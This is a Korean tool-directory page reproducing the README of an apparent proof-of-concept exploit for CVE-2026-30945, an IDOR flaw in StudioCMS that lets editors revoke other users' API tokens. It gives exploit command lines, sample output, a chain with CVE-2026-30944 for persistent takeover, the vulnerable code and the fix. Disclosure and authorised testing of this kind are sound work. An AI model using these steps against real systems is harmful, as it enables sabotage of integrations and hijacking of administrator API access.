Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/filipegaudard/cve-2026-30945-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationAPI Security
GitHubfilipegaudard/cve-2026-30945-poc

CVE-2026-30945-PoC

# CVE-2026-30945 개념 증명 익스플로잇 StudioCMS의 IDOR 취약점으로, 임의 API 토큰 폐기 및 서비스 거부(DoS)를 허용합니다. 수동 및 자동 테스트 모드를 포함합니다.

저장소 보기
5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🗑️ CVE-2026-30945

StudioCMS IDOR — 임의 API 토큰 폐기로 인한 서비스 거부(Denial of Service)

CVE CVSS CWE Type

NVD • Advisory • CWE-639


개요

StudioCMS ≤ 0.3.0의 DELETE /studiocms_api/dashboard/api-tokens 엔드포인트는 editor 이상의 권한을 가진 모든 인증된 사용자가 다른 모든 사용자(admin 및 owner 계정 포함)의 API 토큰을 폐기할 수 있도록 허용합니다.

해당 핸들러는 토큰 소유권, 호출자 신원 또는 역할 계층 구조를 검증하지 않고 tokenID와 userID를 요청 페이로드에서 직접 수락합니다. 이로 인해 중요한 통합 및 자동화 시스템에 대한 표적형 서비스 거부(DoS) 공격이 가능해집니다.

관련: 이 취약점은 CVE-2026-30944(토큰 생성 IDOR)와 동일한 근본 원인을 공유합니다. 함께 연쇄적으로 사용될 경우, 공격자는 정당한 토큰을 폐기하고 새 토큰을 생성하여 완전한 API 자격 증명 탈취를 달성할 수 있습니다.

공격 흐름

root@kitploit:~
┌──────────────┐   DELETE /api-tokens        ┌──────────────┐
│              │  {"tokenID":"<id>",          │              │
│   공격자      │   "userID":"<owner-id>"}     │  StudioCMS   │
│   (Editor)   │ ──────────────────────────► │   서버        │
│              │                              │              │
│              │ ◄────────────────────────── │              │
└──────────────┘  {"message":"Token deleted"} └──────────────┘
                                                     │
                                                     ▼
                                              ┌──────────────┐
                                              │  소유자의     │
                                              │  CI/CD       │
                                              │  파이프라인   │──► ❌ 401 Unauthorized
                                              │  통합        │──► ❌ API 접근 상실
                                              │  모니터링     │──► ❌ 무음 실패
                                              └──────────────┘

취약점 세부 정보

필드값
CVECVE-2026-30945
GHSAGHSA-8rgj-vrfr-6hqr
CVSS v3.17.1 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
CWECWE-639: 사용자 제어 키를 통한 권한 부여 우회
CWE (보조)CWE-863: 잘못된 권한 부여
MITRE ATT&CKT1531 — 계정 접근 제거
OWASP APIAPI1:2023 — 객체 수준 권한 부여 손상
영향 버전studiocms ≤ 0.3.0
수정 버전studiocms 0.4.0

목차

파일설명
cve_2026_30945_poc.py수동 및 자동 모드를 지원하는 Python 익스플로잇 스크립트
README.md이 파일
LICENSEMIT 라이선스

사전 요구 사항

  • StudioCMS ≤ 0.3.0 (취약한 버전)
  • Python 3.8+
  • 최소 Editor 계정의 유효한 자격 증명
  • 알려진 토큰 레코드 UUID (내부 ID, JWT 아님)
root@kitploit:~
pip install requests colorama

빠른 시작

수동 익스플로잇

root@kitploit:~
# 소유자에게 속한 특정 토큰 폐기
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

# CVE-2026-30944와 연쇄: 먼저 대상의 토큰 생성
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 결과를 JSON으로 저장
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
  --save

자동 테스트

root@kitploit:~
# 여러 역할로 테스트
python3 cve_2026_30945_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --token-id 16a2e549-513b-40ac-8ca3-858af6118afc

인자

필수

인자설명
-u, --url대상 StudioCMS 기본 URL
--target-uuid토큰이 폐기될 대상 사용자 UUID

선택

인자설명
--token-id폐기할 내부 토큰 레코드 UUID (JWT 아님). 생략 시 스크립트가 CVE-2026-30944를 통해 먼저 토큰 생성을 시도합니다

수동 모드

인자설명
--username인증용 사용자 이름
--password인증용 비밀번호

자동 테스트 모드

인자설명
--auto-test자동 다중 역할 테스트 활성화
--editor-userEditor 계정 사용자 이름
--editor-passEditor 계정 비밀번호
--visitor-userVisitor 계정 사용자 이름
--visitor-passVisitor 계정 비밀번호

플래그

인자설명
--save결과를 JSON 파일로 저장
--no-ssl-verifySSL 인증서 검증 비활성화

출력 예시

취약한 시스템

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] 'editor01'로 인증됨
  [*] 세션 사용자: editor01 (editor)
  [*] 세션 UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 토큰 ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] 대상의 API 토큰 폐기 중...
  [+] 토큰 폐기됨! 서버 응답: Token deleted
  [!] 취약점 확인됨 — 토큰이 성공적으로 폐기되었습니다!
  [!] 대상 사용자의 API 통합이 이제 중단되었습니다 (DoS)

패치된 시스템

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 3: Token Revocation (IDOR)
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 토큰 ID:    16a2e549-513b-40ac-8ca3-858af6118afc
  [*] 대상의 API 토큰 폐기 중...
  [*] 접근 거부됨 (403 Forbidden) — 엔드포인트가 패치되었을 수 있음
  [-] 폐기 실패: 접근 거부됨 (403 Forbidden)

공격 체인 (CVE-2026-30944 + CVE-2026-30945)

토큰 생성 IDOR(CVE-2026-30944)과 결합하면, 공격자는 완전한 API 자격 증명 탈취를 수행할 수 있습니다:

root@kitploit:~
Step 1: 소유자의 정당한 토큰 폐기    (CVE-2026-30945)
   └──► 소유자의 CI/CD 파이프라인이 무음으로 중단됨

Step 2: 소유자를 위한 새 토큰 생성       (CVE-2026-30944)
   └──► 공격자가 이제 소유자 수준의 API 접근 권한을 보유

Step 3: 소유자가 수정을 위해 새 토큰 생성
   └──► 공격자가 다시 폐기 (지속적 DoS)

이로 인해 공격자가 소유자의 API 접근 권한에 대한 지속적인 통제권을 유지하고, 소유자가 생성하는 모든 새 토큰을 반복적으로 폐기하면서 자신의 불법 접근 권한을 유지하는 시나리오가 발생합니다.


근본 원인

packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (58–99행)의 취약한 핸들러는 요청 본문에서 tokenID와 userID를 수락하고, 권한 부여 검사 없이 삭제 함수에 직접 전달합니다:

root@kitploit:~
// [1] 호출자가 editor인지만 확인 — 누구의 토큰을 삭제하는지는 확인하지 않음
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 두 값 모두 요청 본문에서 가져옴 — 세션에 대한 검증 없음
const jsonData = yield* readAPIContextJson<{
    tokenID: string;    // 소유권 확인 없음
    userID: string;     // 신원 확인 없음
}>(ctx);

// [3] 파괴적 작업에 직접 전달 — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

이 핸들러에는 다섯 가지 뚜렷한 결함이 있습니다: 불충분한 권한 게이트, 토큰 소유권 검증 부재, 호출자 신원 확인 누락, 역할 계층 구조 강제 부재, 그리고 사용자 제어 값의 파괴적 작업에 대한 직접 전달입니다.


영향

  • 서비스 거부(DoS) — CI/CD 파이프라인, 타사 통합 또는 모니터링 시스템에서 사용되는 API 토큰이 무음으로 폐기될 수 있음
  • 선택적 사보타주 — Editor가 특정 admin 또는 owner의 토큰을 정밀하게 폐기할 수 있음
  • 감사 추적 없음 — 폐기가 정당한 작업으로 처리되어 귀속 추적이 어려움
  • 연쇄 시 지속적 DoS — CVE-2026-30944와 결합 시, 공격자가 피해자가 생성하는 모든 새 토큰을 반복적으로 폐기할 수 있음

완화 조치

StudioCMS를 버전 0.4.0 이상으로 업데이트하세요:

root@kitploit:~
npm install studiocms@latest

법적 고지

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 소유한 시스템 또는 명시적 서면 허가를 받은 시스템에만 사용하세요
  • 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법입니다
  • 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다
  • 항상 책임 있는 공개 관행을 따르세요

참고 자료

  • CVE: CVE-2026-30945
  • Advisory: GHSA-8rgj-vrfr-6hqr
  • 관련 CVE: CVE-2026-30944 (토큰 생성 IDOR)
  • CWE: CWE-639 — 사용자 제어 키를 통한 권한 부여 우회
  • OWASP: API1:2023 — 객체 수준 권한 부여 손상
  • MITRE ATT&CK: T1531 — 계정 접근 제거

작성자

Filipe Gaudard


라이선스

이 PoC는 교육 목적으로 MIT 라이선스 하에 배포됩니다. 책임감 있고 윤리적으로 사용하세요.

도구 다운로드